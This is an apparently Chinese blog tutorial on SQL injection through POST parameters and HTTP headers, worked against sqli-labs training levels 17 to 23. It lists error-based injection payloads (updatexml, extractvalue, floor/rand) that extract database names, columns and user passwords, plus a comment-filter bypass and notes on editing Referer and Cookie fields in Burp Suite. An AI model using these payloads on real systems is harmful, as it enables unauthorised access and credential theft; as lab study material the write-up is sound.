WEB安全--SQL注入--POST传参注入、SQL头部注入

一、介绍:

post传参和get传参对注入方式没有本质上的影响,只不过前者是通过页面上的表单提交数据后者是通过url传参。

而头部注入是因为后端并没有直接将参数插入查询语句,而是通过插入或取出cookie、referer等参数进行数据查询或更改的;所以通常使用抓包工具在抓到的数据包上更改相应的参数进行注入。

二、示例:

2.1、POST示例:

sql 复制代码
#less-17
username和password是两个传入点,但是username这个参数用户传入后会被后端waf处理,
所以无法在这个点写payload;我们可以在password上下功夫,如果要注入的话,
首先得保证username传入的值是正确的,
然后再在password字段上用联合注入或者报错注入等payload即可。


//$update="UPDATE users SET password = 'aaa' and selec#' WHERE username='$row1'";

//11' and (select 1 from(select count(*),concat(database(),floor(rand(0)*2))as x from information_schema.tables group by x)as y)#

//123' and (updatexml(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name ='users'),0x5c),1))#

//1' and (extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x5c)))#

//1' and (extractvalue(1,concat(0x5c,(select group_concat(id,username,password) from users),0x5c)))#

//1' and (select count(*) from information_schema.tables where table_schema=database() group by concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e,floor(rand(0)*2)))#

//1' and (select 1 from(select count(*) from information_schema.columns where table_schema=database() group by concat(0x7e,(select password from users where username='admin1'),0x7e,floor(rand(0)*2)))a)#



#less-23
此关的waf过滤了注释符,我们要在payload末尾用  '1'='1  来代替--+,
通过报错注入的方式,后面也就迎刃而解了


?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '1'='1

2.2、改包示例:

sql 复制代码
#less-18 ~ less-22
通过使用burpsuite截取我们传递的包,然后修改相应字段的数据即可,也就是在里面写注入语句。

不过要注意的是:
less-19改写的字段是Referer='';
less-20改写的字段是cookie,因为username和password都设置了waf;
less-21改写的地方也是cookie,不过需要先把注入语句用Base64编码一遍,
因为后台接收的时候设置了Base64解码过滤;
相关推荐
AI题库3 小时前
PostgreSQL 18 默认密码修改全指南:从安装到安全加固
数据库·安全·postgresql
七夜zippoe3 小时前
告别SQL恐惧症:我用飞算JavaAI的SQL Chat,把数据库变成了“聊天室”
java·数据库·sql·ai·javaai
半桔3 小时前
【MySQL数据库】SQL 查询封神之路:步步拆解核心操作,手把手帮你解锁高阶玩法
linux·数据库·sql·mysql·adb·oracle
猫头虎3 小时前
[精选] 2025最新MySQL和PostgreSQL区别、迁移、安全、适用场景全解析
运维·数据库·mysql·安全·postgresql·云原生·容器
No8g攻城狮3 小时前
【SQL】MySQL中空值处理COALESCE函数
数据库·sql·mysql·postgresql·sqlserver
枷锁—sha4 小时前
【CTFshow-pwn系列】03_栈溢出【pwn 051】详解:C++字符串替换引发的血案与 Ret2Text
开发语言·网络·c++·笔记·安全·网络安全
菩提小狗5 小时前
第18天:信息打点-APP资产&知识产权&应用监控&静态提取&动态抓包&动态调试_笔记|小迪安全2023-2024|web安全|渗透测试|
笔记·安全·web安全
johnny2336 小时前
渗透测试入门:Shannon、SpiderSuite、Payloader
安全
林姜泽樾6 小时前
linux基础第一章,linux的介绍和它和windows的区别
linux·运维·计算机网络·安全·网络安全
海边的Kurisu7 小时前
Spring Security | 集认证、授权、防攻击于一体的安全框架
安全